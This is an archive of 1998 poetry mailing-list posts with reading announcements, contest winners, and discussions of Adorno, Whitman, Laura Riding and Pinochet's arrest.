Evan Ziporyn: Tsmindao Ghmerto (1996)
Dan Plonsey: The Plonsey Episodes 1-9 (everybody does that),
    The Nostalgia of the Infinite (1998)

---intermission---

Brian Eno: Music for Airports (1978)
    Music for Airports 1/1, arranged by Michael Gordon
    Music for Airports 2/1, arranged by David Lang
    Music for Airports, 1/2, arranged by Julia Wolfe
    Music for Airports, 2/2, arranged by Evan Ziporyn

AND THEN . . .

Following these concerts, don't miss the spectacular 10-hour

Opus415 no.4 Marathon

Saturday, November 7th, from 1pm to 11pm.

I know that's 12 hours, but there will be a four half-hour breaks for oxygen.

OM presents this event, produced by the Common Sense Composers' Collective, in association with the Yerba Buena Center for the Arts, and featuring 100+ performers and 27 composers, mostly of the Bay Area. Special guests of note: Harold Budd (Los Angeles), Henry Brant (Santa Barbara), and Ingram Marshall (Connecticut). Brant's work will be very unusual, combining eight of the ensembles of other composers into a phantasmagoric boulliabaise of spatial wackiness, with instrumentalists everywhere in the hall except in the laps of the audience.

Tickets are $15/$10 students and seniors. Available from the same phone number above. All seats general admission and you may come and go as you please. This event will take place at the Forum Theatre, Yerba Buena Center for the Arts, San Francisco. Tickets now on sale. (415) 978-ARTS.

For complete listing details, e-mail [redacted] (Dan Becker) or watch this list.

PLEASE PASS ALONG THIS NOTICE TO ANYONE YOU KNOW WHO MIGHT ENJOY COMING TO OUR CONCERTS THIS WEEK. THANKS!

CHARLES AMIRKHANIAN
EXECUTIVE DIRECTOR, OTHER MINDS, INC.

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551. Jerry McGuire
Deep South Contest Winners
Mon 19 Oct 1998

Here are the results of this year's Deep South Writers Conference

contest. (We've also posted them to our website, which can be reached through a clearly marked button at

http://www.usl.edu/Departments/English

I'm sorry to be bringing bad news, if you weren't among our winners, but we may take some consolation in the fact that our robust submissions assure that many fine writers did not garner an award this year. Our deep thanks to all participants. We hope you will give us another try in the future.

Sincerely yours,

Jerry McGuire
Conference Director

CONTEST WINNERS OF THE DEEP SOUTH WRITERS CONFERENCE, 1998

The Ethel Harvey Award for Non-Fiction
First Prize ($200), Ms. Diana Pinckey, Charlotte, North Carolina

"Porches"

Novel
First Prize ($300), Mr. Paul Perry, San Antonio, Texas
A Room in Ueno

Second Prize ($100), Ms. Carole Glickfield, Seattle, Washington Sidney & Melva & Me

The James H. Wilson Full-Length Play Awards
First Prize ($300), Mr. William Baer, Evansville, Indiana
Lighthouse

Second Prize ($100), Mr. Robert Williams, Danville, Virginia Deep South

The John Z. Bennett Awards in Poetry
First Prize ($300), Ms. Vivian Shipley, North Haven, Connecticut

"Adjust the Size of Grief: 6x9 8x10"
"Twinning"
"Defacing Sylvia Plath's Grave"

Second Prize ($200), Ms. Stella Brice, Houston, Texas
"Forecast"
"Mothers Punishment"
"Mr. & Mrs. Under"

Third Prize ($100), Ms. Margaret Rabb, Chapel Hill, North Carolina
"H RORSCHACH"
"Klecsographie"
"Swiss Sects"

Fourth Prize ($50), Ms. Catherine Neuhardt-Minor, Tappahannock, Virginia
"Riveright"
"Sidewalk Artist"
"Edges"

Honorable Mention, Ms. Delores Merrill, Dothan , Alabama
"By Grace of Her Hand"
"These Women Sit Around Their Men"
"The Day Stephanie Turns 16"

Honorable Mention, Ms. Gail Peck, Charlotte, North Carolina
"Waking Up in Spain"
"Can Change Nothing"
"The Lost World"

The Paul T. Nolan One-Act Play Awards
First Prize ($200), Mr. David Barker, New York, New York
"Does Thinking Take Place Out Loud?"

Second Prize ($100), Ms. Cheryl Lilko, New York, New York
"Augusta"

Honorable Mention, Mr. Larry Linda, Castro Valley, California "Cryogenic"

Short Fiction
First Prize ($300), Ms. Diane Farrington, Salt Lake City, Utah
"Life Raft"

Second Prize ($200), Mr. Steve Weathers, Abilene, Texas
"When It Comes"

Third Prize ($100), Mr. Alan Cockrell, Huntsville, Alabama "Jupiter 616"

Children's Fiction
First Prize ($100), Ms. Nancy Burns, Lafayette, Louisiana
"Zadock's Crossing"

Young Adult Fiction
First Prize ($200), Mr. Brent Hartinger, Seattle, Washington
"Dreamgirl"

CODOFIL Award in French Prose
First Prize ($100), Mr. David J. Holcombe, Alexandria, Louisiana

"L'Art de Faire un Pysanka"

CODOFIL Award in French Poetry
First Prize ($100), Dr. Beverly Matherne, Marquette, Michigan
"Le blues brilliant"

--

Jerry McGuire
Director of Creative Writing

English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

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552. **louis stroffolino**
Re: Lehman & the last avant garde
Mon 19 Oct 1998

I suggested to someone who was reviewing the book that he should review it alongside of Charles North's new book of essays/reviews from Hanging Loose press, as complementary (and also as a book which will not get as much "play" because of the press, and the lack of a "jarring" media-goading title)--becsue Lehman's idea of the NYS is as reductive as the anti-Ashberians'--on the other hand-- idea of it is (it's great to see him include Connie Deanovich and Tom Breidenbach, for instance, in his list of younger "NY School" types---but to exclude Notley and Mayer?). Anyway, it seems this person is taking my advice, and I will let you know if and when his review is published.... chris s.

On Sun, 18 Oct 1998, schuchat wrote:

> *I thought Lehman's book was pretty good for what it was meant to be, and should help to introduce those writers to a broader audience. I know some people don't believe that is a noble goal, and I agree that its alright if someone doesn't want to read poetry. But I also like to share or propagandize on behalf of art & literature & music (and food and travel and other pleasures of peace) that I have enjoyed, so I think its worth trying. It's a great book for a high school senior or college freshman interested in poetry.*
>
> *Does anyone object to Lehman's reading of the the poems or poets? I suppose someone might object to his downplaying of O'Hara's sexuality (in an attempt to rebalance after the Gooch biography), but of course O'Hara's poetry has delighted plenty of non-homosexuals.*
>
> *Lehman emphasizes the pleasure that the NY school poets found and took in writing and reading and in art and in life, and, being old fashioned, I think those are good things.*
>
> *Is it possible that someone on the list will disagree with me?*

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553. P.Standard Schaefer
historical ?s
Mon 19 Oct 1998

I'm hoping someone out there can help me with a minor point about NY history.

When did the Ear Inn and/or St. Marks begin?

I have a hunch that it was sometime after 1968. Anyone that can help me with firmer dates maybe should just back channel me.

Thanks in advance.

SS

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554. Poetry Project
marquis de sade
Mon 19 Oct 1998

Well, here's the latest line-up of NIGHT OF DE SADE, a multimedia event happening at the Poetry Project this Wednesday, Oct. 21st, 8 pm. The evening will feature readings from the works of the Marquis de Sade, with music, and is produced by Hal Willner, producer of Allen Ginsberg's Holy Soul Jelly Roll.

Diamanda Galas
Stanley Tucci (director, "The Imposters")
Carol Kane (yes, of "Taxi")
Lili Taylor ("I Shot Andy Warhol")
Chloe Webb ("Sid & Nancy")
Edwin Torres
Marge Suti

and the Voice of Sting (he'll be on tape)

Music/turntabling/dj-ing by Eric Mingus & Karen Mantler

Billy Corgin may make a surprise appearance.

Tickets are $15, $12 students, $10 for members, and free if you want to volunteer (which means helping set up, break down, do admissions, etc.)

The Project is located in St. Mark's Church, corner of 2nd ave and 10th st.

Call [redacted] for more information.

Hope to see you there!

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555. **Safdie Joseph**
Re: Good News
Mon 19 Oct 1998

Apropos of Pierre's "good news" last week about Nigeria's laureate returning home, I can't remember being so surprised and delighted at any international news as the headline this weekend that Pinochet has gotten arrested and detained by the British and Spanish authorities.

25 years later . . . "justice"? Probably not. But still, it tastes sweet.

A few notes on other topics: the thread between Gary Sullivan and Stephen Cope on Spicer and the (perhaps continuing) Laura R. Jackson discussion have both been really interesting, and I hope the principals continue to contribute. (Perhaps we could have a poem of hers to look at? I don't have her poems here, but what about the short one that begins, I think, "the map of places passes / the reality of paper tears")

On Friday Aldon said:

"LRJ still believed that there was "truth," but that it couldn't be communicated through poetry-My own sense is that "truth" only exists as a relationship among statements, and is thus as readily available in poetry as anywhere else-

I await her judgement-"

And I think this absolutist tone, as it's been called in the last week or so, is very much the issue. The idea of someone renouncing poetry as "insufficient" should be enough to get the attention of any practitioner, which was my reason for checking out The Telling many years ago. But right after Aldon's post above came the latest news from the Blake website (for which I thank Matt Kirschenbaum PROFUSELY -- what lovely images!), which got me, between innings this weekend, to taking him off the shelf. And this is what he says to Ms. Jackson:

"No man can think write or speak from his heart, but he must intend truth. Thus all sects of Philosophy are from the Poetic Genius adapted to the weaknesses of every individual"

Sometimes you gotta talk across centuries to make any sense. This, for instance, is Blake's comment on the Bill, Monica and Ken story:

"Mutual forgiveness of each Vice
Such are the Gates of Paradise
Against the Accusers chief desire
Who walkd among the Stones of Fire"

That little ditty from "For the Sexes" ends with an epilogue called "To the Accuser who is The God of This World" -- I think someone should send it to the Special Prosecutor . . . ya know, some of Blake looks just like lang po . . .

Joe Safdie

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556. **George Bowering**
Re: Paris Reading
Mon 19 Oct 1998

> *Keith Waldrop, Cydney Chadwick, Rosmarie Waldrop at the Village Voice Bookstore (an English language bookstore). Tuesday, November 3rd, 7 p.m. 6 rue Princesse, 75006, tel. 33 1 46.33.36.47. Metro: St. Surplice.*

Is this possible? Two nights ago I dreamed that I was standing at a counter at some damned place, and the Waldrops were too. This was definitely not Paris. Does this dream forebode my going there instead of Indianapolis?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

557. **Pierre Joris**
Re: Good News
Mon 19 Oct 1998

Safdie Joseph wrote:

> *Apropos of Pierre's "good news" last week about Nigeria's laureate returning home, I can't remember being so surprised and delighted at any international news as the headline this weekend that Pinochet has gotten arrested and detained by the British and Spanish authorities.*
>
> *25 years later . . . "justice"? Probably not. But still, it tastes sweet.*

yes, yes, yes -- it may only be shabby revenge, but I do hope Pinochet celebrates his 110th birthday in a spanish jail. It wld at least be symbolic justice, even if it cannot make up for the past sufferings of the people of Chile or for the still

virulent heritage of Pinochet. Now how about some country doing the same to the CIA goons who set up the coup that brought him to power? -- Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

↑ Index

558. **Pierre Joris**
some bad news
Mon 19 Oct 1998

News just in that the French poet Pierre Martory died last week. A very secretive poet, he was not well-known in France, but was championed in this country by his great friend John Ashbery who also translated him brilliantly -- two volumes at least, tho I don't know if they are still in print: _Every Question but One_ and _The Landscape is Behind the Door_. In 1997 Alyscamps/Sheep Meadow published a selected poems in French, called _Veilleur de Jours_.

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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559. Anthony Lawrence
Robert Archambeau
Mon 19 Oct 1998

Could someone please let me know Robert Archambeau's email address?

thanks

Anthony

****

Anthony Lawrence
Po Box 75
Sandy Bay
Tasmania 7006

↑ Index

560. Pierre Joris
Albany Reading
Mon 19 Oct 1998

This may be of interest to listmembers in Albany & the Albany area:

THE NEW YORK STATE WRITERS INSTITUTE / STATE UNIVERSITY OF NEW YORK ALBANY

THURSDAY, OCTOBER 22

POEMS FOR THE MILLENNIUM
8:00PM
Recital Hall
Performing Arts Center
Uptown Campus

Poems for the Millennium: A Celebration.

Join us for a celebration of the publication of _Poems for the Millennium_,
a two part synthesizing and global anthology of poetry from the
last fin-de-siecle to the present,
edited by Pierre Joris and Jerome Rothenberg.

The celebration will feature readings by the editors
along with area poets & translators whose work is represented in
the anthology.

The Program:

Pierre Joris & Jerome Rothenberg
 Introduction & opening collage
Don Byrd
 Bei Dao read by Zongying Huang
Robert Kelly
 Anne Marie Albiach performed by Nicole Peyrafitte
Edward Sanders
 Badr Shakir al-Sayyab read by Hédi Jaouad
Charles Stein
 Paul Celan read by Pierre Joris
Cecilia Vicuña
 Navaho Horse Song performed by Jerome Rothenberg

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
 — Wittgenstein
==========

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561. Ron Silliman
RON SILLIMAN CALIFORNIA TOUR
Mon 19 Oct 1998

RON SILLIMAN CALIFORNIA TOUR
OCTOBER 1998

3 readings,
All are open to the public

Wednesday
Oct 28 UC Santa Cruz
Kresge College,
Room 159,
5:00 PM,
[redacted]

or [redacted]
for details

Thursday
Oct 29
Reading with Karen Mac Cormack
Terrace Room (4th floor conference room),
Margaret Jacks Hall (Building 436),
Quad at Palm Drive, Stanford,
4:00 PM

Friday
Oct 30
Reading with Karen Mac Cormack
New College,
777 Valencia,
San Francisco,
7:30 PM, $5

↑ Index

562. Jason Nelson
(no subject)
Tue 20 Oct 1998

Rotary Engine

There are illustrated levers, in the axis of an eccentric disc.

long brings as long closer in line
of centers in a particular space and adjacent before
steam in that space acts
                on expansion in degrees and the varied grade

Admission is given in periods by engine's separate and reduced portion.

minus the fact are epicyclodial teeth minus of clearance
as the pistons reciprocate a clear and distinct beat
slowly the absence fits
                in as slow a speed as three or four or a single revolve

The steady action exercises an economy of influence,
                direct and wide.

Continuous Web Printing Press

paper is placed the end the machine
taken in roller's place and underside is kept

apparatus passes given through damping arrange or required
in nine and the twenty-ninth and five

Construction: the type in impression is carried latter and upper
in paper's first pass a diameter is their circumferenced slope
corresponding points cut grooves on steep angles slightly inclined for
the sufficient height of delivery

Design: speed is aware of adjustment in paper's rapid allow
when time framed in index ocillates
and the space between continuous details the intelligible

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

563. Jason Nelson
Engineering and Poetry
Tue 20 Oct 1998

I'm hoping one of you knowledge folks out there in this world of wires and such can help me. I'm not asking for ropes or pulleys at this point, but just advice. A project: I write potry inspired by 19th century engineering and medical texts. The idea being to bring out the allure and beauty contained within these mechanisms.

What I'm a-wonderin', as they say, is or are:
Anyone interested in this type of project?

below are a few examples of what I'm speaking:

Rotary Engine

There are illustrated levers, in the axis of an eccentric disc.

long brings as long closer in line
of centers in a particular space and adjacent before
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inclined for
the sufficient height of delivery

Design:
speed is aware of adjustment in paper's rapid allow
when time framed in index ocillates
and the space between continuous details the intelligible

love to more or less all of you,
things being what things being

Jason Nelson

English Department, Bowling Green State University
Bowling Green, Ohio 43403 [redacted]
[redacted]

Get Your Private, Free Email at http://www.hotmail.com

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564. Robert Archambeau

Re: Robert Archambeau

Tue 20 Oct 1998

Anthony,

My email address is [redacted]

but if that doesn't work for you (the Swedish server seems a bit unrelaible) try my American address, which I also check:

[redacted]

Bob

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565. George Bowering
Re: A petition to censure and move on
Tue 20 Oct 1998

> *Richard Ford*
> *He even has nasty things to*
> *say about hockey!!!*
> *dwm*

Okay, then there's hope for him yet!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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566. Lawrence Upton.
Re: Good News
Tue 20 Oct 1998

I saw some tv the other night - rare for me - of a lion jumping on a hyena... absolute stillness for a moment or two and then up gets the hyena and pushes the lion away (I think it was a hyena, I came into this programme: 4 legs and a head)

And this is a British lion. Unfortunately. Stone throughout and pale with bird droppings

I too am very excited that Pinochet has been captured. If it just gives him indigestion for a while, that's something. But now that the euphoria has passed, I am finding it harder and harder to imagine that he will ever stand trial in Spain. If only because those goons wouldn't like it.... Talking of which, which country breaking UN resolutions do you think the free countries of the world will threaten to bomb next?

Lawrence
L

-----Original Message-----
From: Pierre Joris <[redacted]>

Date: 20 October 1998 01:53
Subject: Re: Good News

|Safdie Joseph wrote:
|
|> Apropos of Pierre's "good news" last week about Nigeria's
laureate
|> returning home, I can't remember being so surprised and delighted at any
|> international news as the headline this weekend that Pinochet has gotten
|> arrested and detained by the British and Spanish authorities.
|>
|> 25 years later . . . "justice"? Probably not. But still, it
tastes
|> sweet.
|>
|
|yes, yes, yes -- it may only be shabby revenge, but I do hope Pinochet
|celebrates his 110th birthday in a spanish jail. It wld at least be
symbolic
|justice, even if it cannot make up for the past sufferings of the people
of
|Chile or for the still virulent heritage of Pinochet. Now how about some
|country doing the same to the CIA goons who set up the coup that brought
him to
|power? -- Pierre

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567. Mark Salerno
Cuba
Tue 20 Oct 1998

Friends:

If anyone on this list is in Cuba (are the Fidelistas on the internet?), please backchannel.

Also, anyone Cuban, but now residing in U.S., please backchannel.

Thank you.

Mark Salerno

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568. **Mark Prejsnar**
Re: whitman got fired too
Tue 20 Oct 1998

Paul Berman for years has functioned (as author, pundit, frequent Village Voice presence) as one of those especially revolting right-wing "leftists" ...whose main take on life and history is that virtually all revolutionaries are dups of some clique or their own bloody-minded passions..And so an inert mainstream liberalism is true responsible left politix. Has also usually been profoundly haughty and distasteful in his manner of delivering this pitiable insight.

So, i was mildly pleased yesterday to find that he'd written something i found diverting and enjoyable for a few minutes.

On specifically poetic matters, his piece was more than a little weird: Berman apparently believes that **all** eroticism and sexual elements in Leaves of Grass are mystic, and refer to union with God--that WW is never concerned with actual human eros. The bizzare quality of this belief was heightened, in the Times piece, by his evident sense that it was a perfectly uncontroversial claim....

Mark P.

On Sun, 18 Oct 1998, Hilton Manfred Obenzinger wrote:

> *Berman's piece was a pleasure, but a limited one. Information and analysis were all derived from David Reynold's "Walt Whiteman's America," a fine historicizing (though, in terms of poetry, only narrowly interpreted) cultural biography of the all-time champ. Berman's piece could have used a little tip of the hat to its source -- it smacked too much of book report or a hash job (as if no one would notice). Still, it was good to see it -- and the fact that such an outrageous poet remains the national poet (as Clinton would testify) is a wonderful, comforting thought. However, in terms of both Reynold and Berman, I would still like to see more about the poems themselves, particularly the still-radical and disturbing democratic/totalitarian eruption of the 1855 edition.*
>
> *Hilton Obenzinger*
>
> *On Sun, 18 Oct 1998, Todd Baron /*/ ReMap wrote:*
>
> *today's New York Times Book Review has a wonderful endpaper on WHitman and Washington scandals.*
>
> *todd baron*
> *(remap)*

↑ Index

569. Mark Prejsnar
doin' the goosestep rag
Tue 20 Oct 1998

On Mon, 19 Oct 1998, Pierre Joris wrote:

> *justice, even if it cannot make up for the past sufferings of the people of Chile or for the still virulent heritage of Pinochet. Now how about some country doing the same to the CIA goons who set up the coup that brought him to power? -- Pierre*

That sounds like a great idea to me.....How about the USA doing it (..gonna haveta change a few things around first, of course..)

By the way the NY Times article on Sunday announcing Pinochet's arrest cited the number of people murdered in the coup boodbath as **3,000**

Now, i know that 1. the number had (even apart from US apologists) gotten revised downward somewhat, from what we believed it to be in the mid-70s; and 2. the NYT is a propaganda sheet, and to put it mildly its "truth value" is highly limited.

But even so, from what i know the number of 3 thousand is just a tad insanely *low*....

A parable for poets on the power of words and symbolic gestures: i had a friend in college who had (as a high school student) spent a year living in Chile as part of an exchange program. The family she stayed with were fascists. (This didn't bother her that much as she wasn't yet aware enuff of things to really realize it..and politix didn't come up much.) But they did something quietly reminiscent of Orwell's 1984: whenever Pinochet gave a speech on TV they would (in the privacy of their own living room, no one there but this one family) **stand up** to express their respect and reverence.

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570. Michael Franco
WORD OF MOUTH/ BOSTON READING
Tue 20 Oct 1998

Pleased to announce that the Word of Mouth will present
JEROME ROTHENBERG & PIERRE JORRIS reading from their work.

SUNDAY OCT 25TH
5PM

WATERSTONE'S BOOKS
NEWBURY & EXITER STREETS
BOSTON
$$$ 4.00

best to all
MF
more info
[redacted]

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571. **Herb Levy**
Re: Adorno & Jazz
Tue 20 Oct 1998

(Sorry I've taken a while to get back to this. I'm in the midst of cranking out about 30 music reviews (jazz & contemporary classical stuff) by next Tuesday, so I can town again for a couple of weeks on Wednesday)

Jonathan Mayhew wrote:

> *You are making it worse, not better, for Adorno, Herb. He KNEW that harmonic music was evil? That atonal music was the salvation of mankind? Give me a break. If what you say is true, then he was simply a musical fascist. I'd like to give him more credit than that...*
>
> *Jonathan*

Uh, I never said I was trying to defend him. You've made the mistake of assuming that 'cause I've read Adorno & am willing to take some time to explain his positions when they've been extremely oversimplified that I'm a supporter of these positions.

& "Simply" is probably EXACTLY the wrong word to describe any aspect of Adorno's thought. Adorno's complaints about jazz are neither simple-, or single-minded; they're consistent with his relatively complicated views on contemporary music in general. You may think these are dumb ideas, but they just come from a very different world from the one you live in.

Adorno's model of culture is Marxist & progressive: historic, political, & cultural processes evolve together, echoing and re-inforcing each other. For him, just as Mahler grew out of Beethoven, the next step was clearly serial music. Adorno's response to non-serial modernist music such as Stravinsky's was that it was regressive, an attempt to delay the next historical phase of musical culture. For supposedly cultured people to ignore, denounce, etc. the next

historically inevitable step in music was, to his way of thinking, counter-productive.

His critique is also related to the overall critique of what the Frankfurters called the culture industry: radio, audio recordings, film, photography. For Adorno what the mechanisms of the culture industry did was take control of culture away from the artists and audience & put it into the hands of middle men, who didn't care or know much about the art being presented.

Where there had been once people actively making their own music, whether it was "classical", "folk" or some other "original" music, there was now a pop music industry with entertainers who's work was presented in ways that were not possible before - Bing Crosby was no longer just a performer in Spokane, Bob Wills was no longer just a performer from Texas, Mae West was no longer a performer from wherever she was from, pop performers could now have a national & international presence through broadcasts & films that belied any rootedness in time or place. The links between the historic processes of civilization as a whole and the historic processes of music & the other arts had been disrupted for commercial purposes. You could have music in your home anytime you wished but it was music selected, or created, to be easily palatable, without participating in a music culture.

Because the new media were able to represent works outside of real time and space, they transformed popular culture from a local phenomena, what people did in their neighborhoods, to a mass event unparalleled in earlier times, partly because it was larger than other events, and partly because it had been separated from whatever roots it had in a real locale, a real community practice.

For Adorno, jazz was one more art form removed from it's cultural milieu, turned into a commercial product for & by the media. For him, the content or lack thereof was irrelevant to this fact. Hence his notion that bebop was "good bad music" - it was "better" than what had come before, but still flawed by the manipulations of the culture industry to move more units of product, as well as being flawed by not being involved in the specific historic processes he saw as the next step in musical history.

Adorno somewhere writes that everytime he saw a movie he felt it made him stupider & less moral, & this is typical of his response to what were then the new media: it tended to cheapen the content either by ignoring its potential import (by programming virtually anything to fill time); by ignoring its cultural sources (all music is "ours" cause we can own the records) or by watering it down (as in the case of, say, most film adaptations of literature).

As before, I refer folks to the recent books by Robert Witkin & M Paddison on Adorno & music for a more detailed look at these issues. These books both

make a better case for Adorno than I have, but don't assume as much knowledge of classical music as Adorno's own writings do.

I'm not sure how much time I'll have to respond to response to this, but I thought I shouldn't leave this hanging (though given how fast the thread died down, maybe I should have).

Bests,

Herb Levy
[redacted]

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572. **R.Gancie/C.Parcelli**
Re: Good News
Tue 20 Oct 1998

Though as Pierre hints at Pinochet was only the blunt instrument of murder and repression. Even the clique of powerful Chilean military officials and businessmen thought Pinochet too soft for the job. Initially the gang of U.S. Corporations and the State Dept. thought he would not have the resolve to eliminate the people necessary while making the country safe for U.S. capital. He proved them wrong. As Eduardo Galeano said, "People were imprisoned so that markets could be free."
I'd like to add Milton Friedman and the Chicago School to the wish list of fat cats behind bars as well as Kissinger, several dozen U.S. executives who are still alive from that period and another two dozen or so State Department officials not to mention the economic, political and military power base in Chile who, probably again with U.S. money, have launched the current campaign to free Pinochet. And while were at it some N. Y. Times and Washington Post reporters have some shit to answer for. Of course, anyone who has studied U.S. foreign policy from its inception could only conclude that it is a continuing criminal enterprise.
But, of course, coming from a poet this is all wind. Today, I read that one of the individuals behind the current push here in Congress to give a coalition of Iraqi resistance 97 million dollars is none other than former CIA-Iran-contra figure, Duane 'Dewey' Clarridge. Looks like Dewey's done landed on his feet or more accurately enhanced his resume by showing a willingness to engage in blatantly criminal and unconstitutional behavior while at the same time distancing himself from the grossly indiscreet career liar and radio persoanlity, Oliver North. Couple that with Cuban exile and long time CIA contract agent, Louis

Posada Carilles' public admission that he was behind a series of
bombings in Havana in the mid-nineties and the State Department's lack
of interest and you can gauge just how low on the pecking order a stooge
like Pinochet is. Still there is that symbolic thrill at seeing the
bastard locked up.
You all may remember Posada Carilles. He was convicted in a Venezuelan
court of planning the 1976 bombing of a Cuban airliner which killed all
73 people aboard including the Cuban fencing team. Posada Carilles later
escaped from a Venezuelan prison with CIA-State Dept. connivance and
showed up working for the CIA's station chief in El Salvador, Felix
Rodriguez, helping to resupply the contras from Ilapango Air Force Base
outside of San Salvador. Podada Carilles demonstrates how steadfastly
the U.S. State Department protects its terrorist. After all, Pinochet
murdered and imprisoned more U.S. citizens than those of Spain and
England combined.---Carlo Parcelli
> Safdie Joseph wrote:
>
> > Apropos of Pierre's "good news" last week about Nigeria's laureate
> > returning home, I can't remember being so surprised and delighted at any
> > international news as the headline this weekend that Pinochet has gotten
> > arrested and detained by the British and Spanish authorities.
> >
> > 25 years later . . . "justice"? Probably not. But still, it tastes
> > sweet.
> >
>
> yes, yes, yes -- it may only be shabby revenge, but I do hope Pinochet
> celebrates his 110th birthday in a spanish jail. It wld at least be symbolic
> justice, even if it cannot make up for the past sufferings of the people of
> Chile or for the still virulent heritage of Pinochet. Now how about some
> country doing the same to the CIA goons who set up the coup that brought
him to
> power? -- Pierre
>
> --
> ==========
> Pierre Joris
> [redacted]
> http://www.albany.edu/~joris/
> 6 Madison Place
> Albany NY 12202
> tel: [redacted]

> fax: [redacted]
> ==========
> All that is not gas is grammar
> — Wittgenstein
> ==========

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573. **ken|n|ing**
Re: PNY / MEB
Tue 20 Oct 1998

For what it's worth, I wanted to recommend the pny pamphlet series to list members. The pamphlets are sturdily & attractively bound, and the writing is exciting throughout. Peter O'Leary (co-editor of LVNG) has a pamphlet, forget the title off hand, which is one of the better items to come my way in some time. Go on & subscribe. Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Mon, 19 Oct 1998, David Baratier wrote:

> *Here's the pny pamphlet series for the next year:*
>
> *1/ Mark Wallace My Christmas Poem (available)*
>
> *2/ Theodore Enslin Conversations (available)*
>
> *3/ Laura Moriarty Spicer's City (available)*
>
> *4/ Peter O'Leary Midas (available)*
>
> *5/ David Baratier A Run of Letters (available nov.)*
>
> *6/ Jane Augustine French Windows (available Nov.)*
>
> *7/ Tod Thilleman 1988: An Artist's Diary (available dec.)*
>
> *8/ Michael Stephens Going Thoreau (available dec.)*
>
> *9/ Charles Borkhuis Dinner with Franz (available jan.)*
>
> *10/ Peggy Garrison Ding The Bell (available dec.)*

> *11/ Stephen Ellis White Gravity (available dec.)*
>
> *12/ Keith Waldrop Two-Part Invention (available jan.)*
>
> *13/ Cid Corman Nothing doing (available feb.)*
>
> *14/ Joseph Donahue Terra Lucida X-X11*
>
> *15/ 1998 contest winner Catherine Mellet Sat. aft. in my kitchen*
>
> *All of these are perfect bound 16 to 40 pages each. The Laura Moriarty, Mark Wallace, and Steve Ellis titles alone make it well worth paying for two subscriptions.*
> *Price is 6 for $20 or $4 each.*
> *All requests should be e-mailed (not backchanneled here) to:*
>
> *mailto:*[redacted]

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574. **Safdie Joseph**
Good News, Bad News
Tue 20 Oct 1998

Thanks to Pierre and Carlo for responding to the Pinochet news yesterday. It does, of course (before anyone asks) have "something to do with poetics." As Carlo says, echoing Pierre, "Still there is that symbolic thrill at seeing the bastard locked up" -- and we're all (I think) involved in a symbolic enterprise, no matter how we interpret that word.

Carlo also said:

" . . . anyone who has studied U.S. foreign policy from its inception could only conclude that it is a continuing criminal enterprise. But, of course, coming from a poet this is all wind. . . ."

Perhaps, perhaps not. I've really liked two or three recent apocalyptic posts from Alan Sondheim, revealing an acute grasp of social complexity and tragedy. But this brings to mind a post from Henry five days ago, which many may have ignored because, you know, it was Henry . . .

"But my point was to suggest some issues that rarely get much focus on this "innovative" list. Such as the role of the poet as individual "social actor" or historical witness. In a literary market economy where the money lies in mysteries, thrillers, biographies, self-help books, and the rest of the mountain of conventional self-adjuster-release mechanisms, it's become an assumption that innovative or alternative poetries should just set up their own alternative

networks and produce produce produce and publish publish publish and promot promote promote in ways that simply mirror the commercial sector. (This sounds a bit like Herb's recent post about Adorno). Whatever happened to the poet's role as political intepreter or exemplar? As outcast or participant in real events and political issues? I am not thinking so much of the "poet in prison" paradigm of various tyrannies, but of Whitman's example of the poet who insinuates him or herself into larger historical dramas (nursing the Civil War wounded), or even more pertinent, of the poet who makes the writing process consciously related to or dependent on an existential situation - the poet as reporter (can't think of an example offhand). Another aspect of this is the question of value & production - how do you compare the enormous oeuvres of contemporary poets with someone like Vallejo, for example - whose poetry is of great interest precisely because of the collision between creative innovation and existential (poor, emigre, exile, embattled) reality that is expressed throughout. What is precious about poetry if it simply mimics the mass commercial popularity & success contest - if it declines to "reach into the wound & heal it" as Mandelstam puts it (Slate Ode)?"

There have been many threads on the List about such potentials for poetry. It's an ambition, I think, that is sometimes forgotten (and sometimes not even articulated).

Finally, here's the poem by Laura Riding I mentioned yesterday.

The Map of Places

The map of places passes.
The reality of paper tears.
Land and water where they are
Are only where they were
When words read _here_ and _here_
Before ships happened there.

Now on naked names feet stand,
No geographies in the hand,
And paper reads anciently,
And ships at sea
Turn round and round.
All is known, all is found.
Death meets itself everywhere.
Holes in maps look through to nowhere.

Although the level of abstraction, as Marjorie mentioned, is certainly high, I find this poem rather amazing -- and spooky! Would love to know what others thought.

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575. **Aldon Nielsen**
there's a question at the end of this
Tue 20 Oct 1998

Poetry and the appeals process --

This morning's news carries a story of a federal appeals court's decision regarding the extent of liability public schools may bear for failure to respond to student complaints of racial "slurs." The decision also rejected a claim that a school could be sued for requiring the reading of _Huckleberry Finn_ and "A Rose for Emily."

I'm not so much interested in that part of the case as I am in something that happens in the court's published opinion. The judges ruled, as they should, that a court ban of such books would violate the 1st Amendment, but they went on to argue that a contrary ruling might make "an extremely wide--if not unlimited--range of literary products" [yes, they did use the word "products"] vulnerable to similar actions. They wrote that "White plaintiffs could seek to remove books by Toni Morrison, Maya Angelou and other prominent black authors on the ground that they portray Caucasians in a derogatory fashion;"

